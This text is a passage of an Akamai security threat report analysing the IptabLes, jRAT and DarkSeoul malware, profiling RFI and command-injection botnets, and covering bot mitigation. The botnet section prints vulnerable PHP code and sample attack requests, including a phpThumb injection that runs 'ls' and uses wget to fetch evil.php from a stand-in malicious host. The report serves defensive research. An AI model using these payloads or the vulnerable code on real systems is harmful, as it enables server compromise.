3.4 / Malware Analysis: IptabLes for Microsoft Windows / PLXsert released
a threat advisory in September 2014 about the IptabLes and IptabLex DDoS threat
targeting Linux platforms. It was propagated by targeting vulnerabilities in web
services such as Apache Struts, Tomcat and ElasticSearch. Soon after the advisory
was released, a malware variant written for Windows made its way into the public
space. While the Windows variant did not have the same impact as the Linux
variant, it became clear that the authors were creating variations of the threat to
target multiple operating systems.
Although little information has been collected about the methods used to propagate
the Windows variant of IptabLes, the motive of the malware writers is clear. A
rewrite or recompilation of the malware was likely required in order to produce
a Windows-compatible version, and string artifacts present in the binary indicate
strongly that the malware was repurposed to infect Windows machines.
Figure 21 shows some of the string data present in the Windows version of IptabLex.

35
[SECTION]3
= CASE STUDY
Figure 22 shows similar string data from within the original Linux payload.
Matching strings, such as targeted domains used for DNS resolution and web
requests, can be observed when comparing these two variants.
Figure 21: String data present in the Windows IptabLes (IptabLex)
Figure 22: String data present in the Linux variant of IptabLes

36
[SECTION]3
= CASE STUDY
In the case of IptabLes, the malware authors had to re-implement system-specific
functionality, such as persistence techniques and the use of certain networking
APIs, because Windows exposes a different API set for networking operations
than Linux.
The Windows version of IptabLes installs a service in order to achieve persistence,
as shown in Figure 23. This technique is implemented much differently on the
Linux variant, which uses init scripts and drops copies of the payload onto the /boot
directory of victim systems.
Figure 23: Windows-specific techniques used for persistence

37
[SECTION]3
= CASE STUDY
The IptabLes threat was successful due to the abuse of vulnerabilities of popular
web services usually running on Linux servers. Malicious actors typically use the
route of least resistance to quickly build a botnet of considerable size. These botnets
are then used in campaigns or sold in an underground market called DDoS-for-
hire services.
3.5 / A RAT That Is Operating
System Aware / In October 2012, Mac
antivirus and security company Intego
released a short post about a Java-based
Remote Access Trojan (jRAT) that it
considered low-risk and only intended
for stealing Minecraft passwords.
Trend Micro released a subsequent blog
post identifying a small infection of the
same Trojan with additional features. While the threat remains relatively low, this
jRAT is another example of malware authors taking the time to create write-once,
run everywhere malware. The author, who goes by the name of redpOison, developed
the jRAT to be operating system aware. This jRAT will use the appropriate system
functions for the platform upon which it is run. Figure 24 shows a piece of code that
executes certain functions if the current operating system is Mac OS X.
Although this jRAT is not an advanced or complex piece of code, it demonstrates
how easy it is for attackers to develop malware that is operating system aware.
3.6 / Destructive Malware / Today’s campaigns typically consist of several stages
that include surveillance, infiltration and persistence. One of the first actions usually
taken after a successful infiltration is to establish persistence on the victim system.
In the case of a campaign carried out by DarkSeoul, a group responsible for a string
Figure 24: jRAT code identifies the host platform in
order to run specific code

38
[SECTION]3
= CASE STUDY
of attacks against the South Korean government,
a dropper component of the attack contained
embedded resources, as shown in Figure 25.
These resources were then extracted during runtime
and dropped into the system directory, as shown in
Figure 26.
Figure 25: Embedded and
obfuscated resources within
dropper malware
Figure 26: This code extracts the embedded malware during runtime
One of the embedded payloads was designed to find hard disks and
partitions on the infected system and overwrite the entire drive, effectively
deleting all of its content. Figure 27 shows some strings found in the DLL payload
designed to wipe an entire hard drive.

39
[SECTION]3
= CASE STUDY
Figure 27: String data within one of the extracted payloads
It replaces the contents with the data represented by the string PRINCPES as shown
by the API calls in Figure 28. It then subsequently attempts to find the next drive
and partition on the victim system.
Figure 28: A runtime analysis of API calls to overwrite hard disk data

40
[SECTION]3
= CASE STUDY
The amount of damage that can be caused by such virus is massive, and malicious
actors are only getting more motivated and sophisticated in their efforts. Recent
campaigns described by Symantec reveal how data exfiltration and stealth are an
important aspect of cyber warfare. The destruction of evidence is made possible by
payloads such as the DarkSeoul group payloads above.
3.7 / Conclusion / The use of malware as tools of the trade by malicious actors is
here to stay. Malware has evolved new features and adapted in response to security
measures. The antivirus industry reacts to new threats by providing signatures of
known malware. However, malicious actors have adapted their methods to bypass
these defenses and developed new tools and exploits to further their campaigns.
Some malware campaigns are destructive, making malware even more malicious.
Some may even jeopardize business and organizational continuity.

41
[SECTION]4
BOTNET PROFILING
TECHNIQUE
A
kamai has profiled multiple web application attack botnets using a new
analysis technique that takes advantage of data gleaned from the Akamai
Intelligent Platform™. The identified botnets were set up to automate the
discovery of web application vulnerabilities for Remote File Inclusion (RFI) and OS
Command Injection attacks. Akamai researchers profiled the botnets by identifying
malicious code resource URLs and payloads that were identical among seemingly
unrelated attacks. An attack payload was used to aggregate data and map botnet
activity, actors and victim web applications.
41

42
[SECTION]4
This technique could be applied to other types of attacks that use a distinct payload,
suchasoneassociatedwithaspecificthird-partydomainoracommoncodesnippet.
The analysis can be conducted without being part of the botnet or taking over the
botnet’s command-and-control (CC, C2) server.
The botnet profiled here has attacked targets around the world from geographically
dispersed sources. Once the botnet controls a machine, it is capable of remote shell
command execution and remote file upload, as well as Short Message Service (SMS)
and Internet Relay Chat (IRC) communication.
4.1 / About Remote File Inclusion Attacks / A remote file inclusion attack
(RFI) is an attack technique used to exploit dynamic file include mechanisms in
web applications, according to the Web Application Security Consortium (WASC)
Threat Classification project. When web applications take user input (e.g., URL,
parametervalue)andpassthemintofileincludecommands,thewebapplicationmay
be tricked into including remote files that contain malicious code. The code is then
executed by the server, granting the attacker remote command execution capabilities.
Attackers can find remote file inclusion vulnerabilities easily. It is often done by
using simple static code analysis or by dynamically fuzzing (trying all characters
for) each parameter of a web application, sending a remote URL, and pointing to
some PHP code. Dynamic web security scanners find such vulnerabilities with high
accuracy rates.
A PHP code sample from a sample URL at /page.php contains a remote file inclusion
vulnerability, as shown in Figure 29.
Figure 29: Code vulnerable to a remote file inclusion attack
$dir = $_GET[‘module_name’];
include($dir . “/function.php”);

43
[SECTION]4
In this code, the developer receives a module name from a user-submitted query
string parameter called module_name. The developer then uses this input (assuming
it is a directory name) inside a call to the PHP include() function. A malicious
hacker may exploit this vulnerability to include a remote piece of code, as shown in
Figure 30.
Figure 30: Malicious actors transform the PHP include function into a query
GET /page.php?module_name=http://www.malicious.site/bad.php?
Although the developer intended to append an actual filename to the module_name
parameter value, a malicious hacker could add an extra question mark (?) character
to cause the text after the malicious URL to be treated as a query string instead.
4.2 / OS Command Injection / According to the WASC Threat Classification
project, OS commanding is an attack technique used to execute unauthorized
operating system commands. Also known as OS command injection, this attack is
the result of mixing trusted code with untrusted data. The attack becomes possible
when an application accepts untrusted input to build operating system commands
inaninsecuremanner–involvingimproperdatasanitizationortheimpropercalling
of external programs. In an OS command injection attack, executed commands
by an attacker will run with the same privileges as the component that executed
the command, (e.g., database server, web application server, web server, wrapper,
application). Since the commands are executed under the privileges of the executing
component, an attacker can leverage this capability to gain access and damage parts
that are otherwise unreachable (i.e. the operating system directories and files).
An example of a PHP OS command injection vulnerability may look like the code
in Figure 31.

44
[SECTION]4
Figure 31: Code vulnerable to an OS command injection attack
?php
if(isset($_GET[‘cmd’]))
{
$cmd = ‘LicenseChecker.exe ‘ . $_GET[‘cmd’];
passthru ($cmd);
}
?
4.3 / Common Payloads in Botnets / In the Common Vulnerabilities and
Exposures (CVE) database and other vulnerability databases, such as The Exploit
Database, remote file inclusion and OS command injection vulnerabilities are
among the most prevalent vulnerabilities reported and exist in many modern web
applications and web frameworks.
The frequency with which these vulnerabilities are present and their ability to grant
full control over the victim web server make them the most favorable attack vectors
for malicious actors. In recent months, Akamai has observed massively orchestrated
attempts to find such vulnerabilities in an automated manner using specially
tailored botnets.
A malicious actor or group will usually write a piece of code to scan for RFI or
command injection vulnerabilities, sending a unique malicious payload inside a
parameter value. This malicious payload will usually point to a remote web server
owned or controlled by the hacker, which includes the PHP code to be included or
fetched. Attackers may use a botnet (a distributed network of machines running the
same piece of scanning code) to speed up the scanning process.

45
[SECTION]4
While machines in a botnet might be located in multiple countries, use different IP
addresses and may even seem to belong to different organizations, the remote piece
of code they are trying to inject will be identical – the remotely included URL or the
content of the maliciously included PHP file.
For example, below are two hypothetical malicious RFI HTTP requests coming
from two different IP addresses and going to two different web servers but each
delivers the same malicious code resource URL:
Requesting IP address Code Resource URL
10.1.1.1
http://www.victim1.site/page.php?module_name=http://www.malicious.
site/bad.php
192.168.1.1
http://www.victim2.site/index.php?inc_path=http://www.malicious.site/
bad.php
The similarities indicate a botnet of machines performing the same task for the
same master.
Figure 32 illustrates two RFI attacks targeting two different web applications and
coming from two different attackers but pointing to the same remote malicious
piece of code.

46
[SECTION]4
Figure 32: Different attackers using the same remote malicious code
Akamai researchers scanned Akamai’s Intelligent Platform, which stores Kona
customer security event data, for the purpose of identifying RFI and OS command
injection scanning botnets. In order to correlate between the attackers, we searched
for web application firewall (WAF) triggers related to these two types of attacks
across a timeframe of seven days and aggregated the results based on:
• Malicious payload
• Malicious URL: either as an RFI payload or using wget for OS command injection
A hash enabled easy comparison of malicious PHP code. This correlation enabled
Akamai to map multiple Internet botnets operating at this time.
4.4 / Botnet Findings /
4.4A / Targets / During a seven-day period, RFI and OS command injection
botnets targeted more than 850 web applications across several top-level domains,
as shown in Figure 33.

47
[SECTION]4
Top Level Domain Targets
.com 485
.gov 79
.edu 1
.org 7
.mil 8
Country TLDs 270
Figure 33: Distribution of targets by top-level domain (TLD)
The top 10 country top-level domains of victim sites were distributed as shown in
Figure 34.
Victim Sites Country TLD
23 .uk
20 .ca
14 .jp
13 .de
12 .es
12 .fr
11 .be
11 .nl
9 .ln
8 .dk
Figure 34: Targets by country domain
Targeted web applications were distributed across verticals as shown in Figure 35.

48
[SECTION]4
Industry Vertical Percent of Victim Sites
Retail 26.4
Media Entertainment 15.8
Hotel Travel 12.4
Public Sector 12.0
High Technology 8.3
Business Services 7.3
Consumer Goods 5.3
Financial Services 3.9
Automotive 3.0
Manufacturing 1.5
Gaming 1.1
Pharma/Health Care 0.9
Software as a Service 0.8
Foundation 0.6
Energy Utilities 0.3
Consumer Services 0.2
Miscellaneous 0.2
Figure 35: Most targeted web applications by industry vertical
4.4B / Attack Traffic Origins / All of the botnet attack traffic appeared to
originate from compromised web servers. The majority of these compromised
machines belonged to known, popular Software-as-a-Service (SaaS) and cloud
hostingprovidersorwebsitehostingproviders.Thecompromisedoperatingsystems
followed the distribution shown in Figure 36.
Web Server Number of Bots
Apache 11
Microsoft IIs 8
NGINX 4
Unindentified 8
Figure 36: Operating systems used by botnets

49
[SECTION]4
Acloserlookatthesourcecountriesoftheattackingmachinesrevealsattackscoming
from 15 countries, as shown in figure 37. About a third of the attacking machines
were located in the U.S. Only a minority of attacks came through proxies, which
makes sense given that the attacking machines were compromised web servers.
Country Attackers
United States 10
United Kingdom 4
France 3
Germany 2
Spain 2
Argentina 1
Canada 1
Indonesia 1
Israel 11
Japan 1
South Korea 1
Romania 1
Turkey 1
Taiwan 1
Vietnam 1
Figure 37: Origins of attack traffic, which was all generated by compromised web servers
4.4C / Crawlers Disguised as Microsoft Bing Bots / Thorough scanning for
RFI and OS command injection vulnerabilities in web applications requires that
an attacker map the web application’s structure and locate all the relevant entry
points (e.g., URLs and their corresponding HTTP parameters). The botnet
Akamai analyzed included a dedicated Python script that performed web crawling.
The crawlers often disguised themselves as a Microsoft Bing bot, but sometimes,
perhaps by mistake, exposed themselves as written using a Python library such
as urllib.

50
[SECTION]4
Crawling capabilities for this kind of botnet are unusual and seems to indicate a
technological advancement. The vast majority of similar botnets observed by
Akamai are simple; scanning the Internet in a blind manner, looking for known
vulnerabilities rather than probing to discover application-specific vulnerabilities.
4.4D / Propagation / Botnet operators strive to keep their botnets alive and
continuously growing. Growth is achieved by infecting more and more servers.
A specific botnet that Akamai researchers monitored for this case study used
two WordPress Timthumb vulnerabilities for propagation and infection of
additional machines. More details on the vulnerabilities can be found in
CVE 2014-4663 and CVE 2011-4106.
The botnet used two payloads, one for each vulnerability. Sample payloads are
shown in Figure 38 and Figure 39.
Figure 38: Sample payload 1
http://www.victim.site/phpThumb.php?src=http://wordpress.com.mali-
cious.site/evil.php
Figure 39: Sample payload 2
http://www.victim.site/phpThumb.php?
rc=file.jpgfltr[]=blur%7C9%20-quality%2075%20-interlace%20line%20
fail.jpg%20jpeg:fail.jpg%20;ls;phpThumbDebug=9%0A?src=file.jpg-
fltr[]=blur%7C9%20-quality%2075%20-interlace%20line%20fail.jpg%20
jpeg:fail.jpg%20;wget% http://wordpress.com.malicious.site/evil.php
%20-O%20evil.php;phpThumbDebug=9
Another attribute of the botnet was its thorough coverage of all digital properties
belonging to the victim’s organization. For example, for each target organization the
botnet would scan all possible domains (i.e. victim.com, victim.co.uk, victim.de, etc).

51
[SECTION]4
In addition to identifying RFI and OS command injection vulnerabilities, the botnet
also appeared to scan for other types of application-layer vulnerabilities such as
SQL injection.
4.5 / Analysis of Botnet Capabilities / Since RFI and OS command injection
attacks both point to a malicious PHP resource that is accessible over the web, the
task of obtaining the remote code is rather simple – all one has to do is download
the code using a browser or HTTP client. The botnet code had text written in Malay,
which may indicate the botnet owner is Malaysian.
4.5A / Remote Shell Command Execution / As shown in the source code in
Figure 40, the botnet enables a remote user to execute commands on the victim
application by using PHP’s shell_exec() command.
Figure 40: Code for remote shell execution
4.5B / Remote File Upload / The botnet also enables a remote attacker to upload
arbitrary files to the victim’s machine quickly and easily, as shown in Figure 41.
Figure 41: Code for remote file upload

52
[SECTION]4
4.5C / SMS Sending, Controlled by IRC Commands / Among the capabilities
discovered in the code was the ability to send SMS (through a dedicated web
service). This capability was controlled by commands sent to the botnet via IRC
channels, as shown in Figure 42.
Figure 42: The botnet code for SMS-sending capability, which works over a dedicated IRC-channel
4.5D / Other Capabilities / The following two capabilities were also identified:
• Local FTP server credentials brute force attack
• IRC-controlled UDP/TCP denial of service flood
4.6 / Conclusion / This botnet profiling technique presents a novel approach
for the understanding of web application-layer botnets. Instead of relying on IP
addresses or attack type, Akamai researchers used the attack payload as a common
denominator with which to aggregate data and map botnet activity type, actors and
victim applications.

53
[SECTION]4
This approach to analysis is believed to be unique, and it doesn’t require the
researcher to be a part of the botnet, nor does it require the researcher to take
over the botnet’s CC server in order to learn about its operation. However, this
approach does require visibility into large portions of Internet traffic.
This analysis approach could be used for mapping other types of malicious activities,
such as content injection, link spams, and web-based attacks that use a distinct
payload such as one associated with a specific third-party domain or distinct piece
of code.

54
[SECTION]5
PERFORMANCE
MITIGATION
Bots, Spiders and Scrapers
T
hird-party content bots and scrapers are becoming more prevalent as
developers seek to gather, store, sort and present a wealth of information
available from other websites. These meta-searches typically use APIs to
access data, but many now use screen-scraping to collect information. As bots and
scrapers become more prevalent, they increase the load on web servers. While bot
behavior is benign for the most part, poorly-coded bots can impact site performance
and may resemble denial of service attacks or may be part of a rival’s competitive
intelligence program. Understanding the different categories of third-party content
bots, how they affect a website, and how to mitigate their impact, is an important
part of building a secure web presence.
54

55
[SECTION]5
Akamai has seen bots and scrapers used for many purposes including:
• Setting up fraudulent sites
• Reuse of consumer price indices
• Analysis of corporate financial statements
• Metasearch engines
• Search engines
• Data mashups
• Analysis of stock portfolios
• Competitive intelligence
• Location tracking
Examples of some of these uses of third-party site content are shown in Figures 43,
44 and 45.
Figure 43: Bot targeting a financial aggregator to scrape a large amount of data quickly
Figure 44: A bot scraping a site for all content

56
[SECTION]5
5.1 / Four Categories of Bots and Scrapers / Bots and scrapers can be divided
into four categories depending on their desirability and their aggressiveness,
as shown in Figure 46. Desirability is scored based on how much a site owner wants
to host the bot. Aggressiveness is the rate of requests from the bot and its impact on
site availability.
Figure 45: A bot making requests to a location finder
Figure 46: Ranking bots and scrapers by desirability and aggressiveness

57
[SECTION]5
5.1A / Highly Desired, Low Aggression / Googlebot is a prime example of a highly
desired bot. These bots help users find content and are well-behaved – they respect
robots.txt and don’t make many requests at once.
5.1B / Undesired, Highly Aggressive / Some benign bots are poorly-coded and
send a large volume of requests or have poor error handling, which puts them in
an undesired category. Malicious bots that disrupt web servers by using GET or
POST floods also fit in this category; in extreme cases, a bot may cause a small-scale
application-layer denial of service attack. Some very aggressive scrapers attempt to
iterate through lists of stocks or airfares very rapidly. In one case, a bot looking for
pricing information on a retailer site disrupted analytics by making a high number
of requests for a small number of products.
During 2014, Akamai has observed a substantial increase in the number of these
bots and scrapers hitting the travel, hotel and hospitality sectors. The growth in
scraperstargetingthesesectorsislikelydrivenbyaproliferationofrapidlydeveloped
mobile apps that use scrapers as the fastest and easiest way to collect information
from disparate websites.
Scrapers target room rate pages for hotels, as well as pricing and schedules
for airlines. In many cases that Akamai has investigated, scrapers and bots were
making several thousand requests per second, far in excess of what can be expected
by a human using a web browser.
5.1C / Highly Desired, High Aggression / Highly desirable bots with high
aggression are more difficult to manage because they can’t be blocked totally.
However, their aggressiveness can cause site slowdowns and latency. An example is
the spider bot from the Chinese search engine Baidu. Baidu bots have poor request
throttling, and can even saturate their own outbound network. This type of search

58
[SECTION]5
spider can help organizations attract new users in emerging markets, such as Brazil,
Russia, India and China, but in the process, they may flood sites with requests and
thus trigger alerts for possible denial of service attacks.
5.1D / Low Desirability, Low Aggression / Bots that crawl a site’s product pages
with intent to reuse the content on shadow sites for fraud or counterfeiting scams
fit into this category. These bots often stay under the detection threshold of security
products and try to blend in with regular user traffic through the use of headless
browsers such as PhantomJs, making them difficult to block.
An interesting development in the use of headless browsers is the advent of
companies that offer scraping as a service, such as PhantomJs Cloud. These sites
make it easy for users to scrape content and have it delivered, lowering the bar to
entry and making it easier for unskilled individuals to scrape content while hiding
behind a service.
5.2 / Triage and Categorization / Mitigation techniques vary depending on the
classification of the bot. Akamai uses a wide variety of techniques to determine the
owner and intent of a bot. For example, the volume of requests can help Akamai
determine the bot’s platform. In general, we use the following categorizations:
• Home broadband connection: 1,000-4,000 requests per minute
• Branch office: 5,000-10,000 requests per minute
• Hosted server or server farms: 10,000+ requests per minute
The sequence and pages a bot scrapes can also reveal information about the bot’s
intent.Forexample,acompetitive-analysisbotwillonlyscrapeproductdescriptions,
SKU/item IDs and prices, while a fraudulent bot will also request images. A website
copier, such as a recursive Wget (formerly Geturl), also loads index and search pages.

59
[SECTION]5
In addition, the user-agent header can sometimes provide a unique and identifiable
user agent – such as Googlebot, url-lib or curl – and Whois can sometimes expose
bot owners.
5.3 / Mitigation / For each type of bot, there is a corresponding mitigation strategy,
as shown in Figure 47.
Figure 47: Mitigation strategies based on bot desirability and aggressiveness
5.3A / Undesired, Highly Aggressive / The most readily detectable bots are often
those with very high aggression and low desirability. Server log analysis may show
many hits to a page in a short amount of time, often crawling through lists of URLs.
Bots like these are usually easily detected and easily mitigated using a combination
of blacklists and rate controls; both capabilities are built into Akamai’s Kona Web
Application Firewall.

60
[SECTION]5
The key to mitigating aggressive, undesirable bots is to reduce their efficiency.
In most cases, highly aggressive bots are only helpful to their controllers if they can
scrape a lot of content very quickly. By reducing the efficiency of the bot through
rate controls, tar pits or spider traps, bot-herders can be driven elsewhere for the
data they need.
In some cases, bots are targeting login pages. Login abuse has become prevalent in
the wake of major credential breaches. With login abuse, attackers, usually carder
gangs, often use a bot to make queries to the login page of a website. By automating
username and password checks, most often using a purchased list of userids
and passwords, attackers attempt to find valid credentials. Once validated, these
credentials can be used for account takeovers or they can be sold. Rate controls are
a highly effective way of mitigating these attacks since the attack relies on the bot’s
ability to iterate through a long list of credentials very quickly.
5.3B / Highly Desired, High Aggression / Aggressive but desirable bots are a
slightly different problem. These bots adversely impact operations, but they bring
a benefit to the organization. Therefore, it is impractical to block them fully. Rate
controls with a high threshold, or a user-prioritization application (UPA) product,
are a good way to minimize the impact of a bot. This permits the bot access to the
site until the number of requests reaches a set threshold, at which point the bot is
blocked or sent to a waiting room. In the meantime, legitimate users are able to
access the site normally.
5.3C / Low Desirability, Low Aggression / Bots that attempt to evade controls
and disguise themselves as normal traffic are a challenge to mitigate. In many cases,
these bots are watched closely by their owners, and their behavior may be modified
on the fly to adapt to new defenses. This class of bots, with low aggression and low
desirability, are probably the most difficult to mitigate. The best response Akamai

61
[SECTION]5
has developed is to employ client validation on sensitive pages. Java checkers and
CAPTCHAs can slow the bot and force the controllers to add more code to try to
pass the validation scheme.
While it is almost impossible and usually undesirable to defend an entire site from
bots of this type, placing countermeasures around sensitive pages, such as search
and login pages, can curtail bot activity. In many cases, organizations combine
validation with rate controls, and only use the validation scheme with suspicious IP
addresses that have crossed set thresholds.
Be aware that dedicated bot-herders will adapt to most client validation methods
eventually. The goal is to reduce the efficiency of the bot and make it too costly for
the bot-herder to continue to operate against the organization’s website.
5.3D / Highly Desired, Low Aggression / Finally, there is the case of bots that are
desired and are not overly aggressive. While it’s possible to ignore this class of bots,
there are ways to further reduce their impact on a website. In many cases, these
bots are looking for information and don’t have another method of collecting it.
Offering an API or a dedicated data feed can move the load off the website and free
up resources for users, while providing other organizations the information they
need in a more digestible form. This approach will not work in all situations – web
spiders will always request a web page, for example, but if business partners are
looking for rate or location information, providing a better way to request the data
can be a viable option.
5.4 / Conclusion / Moving forward, bots and scrapers will continue to be a problem
for many organizations, regardless of industry. Sites interested in providing
metasearches to users will continue to employ bots to crawl the web and to collect
the data they need. Attackers and extortionists will continue to deploy bots and try
to get around network layer controls by attacking the application layer. The number

62
[SECTION]5
of scrapers will increase as developers create small mobile apps that aggregate
data for the convenience of their users. Development of a strategy to contain and
mitigate the effects of undesirable bots should be a part of the operations plan of
every website.
Whether using a defensive framework such as the one presented here, or another
method, it’s important for each organization to evaluate which bots it will allow to
access its site. A set of bots that are highly desirable for one organization may appear
malicious to another, and the criteria can change over time. As an organization
expands into new markets, a previously unwanted bot may become the key to
sharing information. Frequent analysis and modification of security policies is key
to mitigating the risks posed by bots and scrapers.

63
[SECTION]6
LOOKING FORWARD
T
he DDoS-for-hire underground market is gaining momentum. The
expansion of the Internet infrastructure, the addition of millions of
potentially exploitable Internet-enabled devices and the steady discovery
and disclosure of significant vulnerabilities in web applications has driven mass
exploitation and botnet building. The DDoS threatscape is expanding and will
continue to do so as long as these factors are present.
63

64
[SECTION]5
Even though no records were broken in either volumetric and application-based
benchmarks in Q4, there are indicators that records will be broken in the future,
such as an SSDP attack peaking at 106 Gbps and the new XMAS-DDoS attack based
on a Christmas tree packet generating more than 100 Gbps.
DDoS trends include more attacks, the common use of multi-vector campaigns,
the availability of booter services and the low cost of a DDoS campaign that can
take down a typical business or organization. The expansion of the DDoS-for-hire
market may result in the commoditization of DDoS attacks, where availability
drives down prices, which grows the market. DDoS may become a common tool
for even non-technical criminals.
With a flourishing DDoS-for-hire market comes attack innovation, more complex
attacks and bigger attacks. The refinement and increased sophistication of attack
vectors is likely to follow an expansion trend, if nothing is done to break the
workflow of factors driving the growth of the DDoS-for-hire market.
Collaboration is imperative for the software and hardware development industry,
application and platform service providers, and the security industry in order to
break the cycle of mass exploitation, botnet building and monetization.

About Prolexic Security Engineering Research Team
(PLXsert)
PLXsert monitors malicious cyber threats globally and analyzes these
attacks using proprietary techniques and equipment. Through research,
digital forensics and post-event analysis, PLXsert is able to build a global
view of security threats, vulnerabilities and trends, which is shared with
customers and the security community. By identifying the sources and
associated attributes of individual attacks, along with best practices to
identify and mitigate security threats and vulnerabilities, PLXsert helps
organizations make more informed, proactive decisions.
About Customer Security Incident Response Team (csirt)
The Akamai Customer Security Incident Response Team (csirt)
researches attack techniques and tools used to target our customers and
develops the appropriate response – protecting customers from a wide
variety of attacks ranging from login abuse to scrapers to data breaches to
Dns hijacking to distributed denial of service. It’s ultimate mission: keep
customers safe. As part of that mission, Akamai Csirt maintains close
contact with peer organizations around the world, trains Akamai’s PS and
CCare to recognize and counter attacks from a wide range of adversaries,
and keeps customers informed by issuing advisories, publishing threat
intelligence and conducting briefings.
About Threat Research Team
The Threat Research Team is responsible for the security contents and
protection logic of Akamai’s cloud security products. The team performs
cutting edge research to make sure that Akamai’s cloud security products
are best of breed, and can protect against the latest application layer threats.
Contact
Twitter: @State_Internet
Email: stateoftheinternet-security@akamai.com
©2015 Akamai Technologies, Inc. All Rights Reserved. Reproduction in whole or in part in any form or medium without express written permission is prohibited. Akamai and the Akamai
wave logo are registered trademarks. Other trademarks contained herein are the property of their respective owners. Akamai believes that the information in this publication is accurate as of its
publication date; such information is subject to change without notice. Published 01/15.
Akamai is headquartered in Cambridge, Massachusetts in the United States with operations in more than 40 offices around the world. Our services and renowned customer care
enable businesses to provide an unparalleled Internet experience for their customers worldwide. Addresses, phone numbers and contact information for all locations are listed on
www.akamai.com/locations.
Akamai®
is a leading provider of cloud services for delivering, optimizing and securing online content and business applications. At the core of the company’s solutions is the Akamai Intelligent
Platform™ providing extensive reach, coupled with unmatched reliability, security, visibility and expertise. Akamai removes the complexities of connecting the increasingly mobile world,
supporting 24/7 consumer demand, and enabling enterprises to securely leverage the cloud. To learn more about how Akamai is accelerating the pace of innovation in a hyperconnected
world, please visit www.akamai.com or blogs.akamai.com, and follow @Akamai on Twitter.

Akamai security report

Recommended

Recommended

More Related Content

What's hot

What's hot (17)

Similar to Akamai security report

Similar to Akamai security report (20)

More from Honza Beranek

More from Honza Beranek (20)

Recently uploaded

Recently uploaded (20)

Akamai security report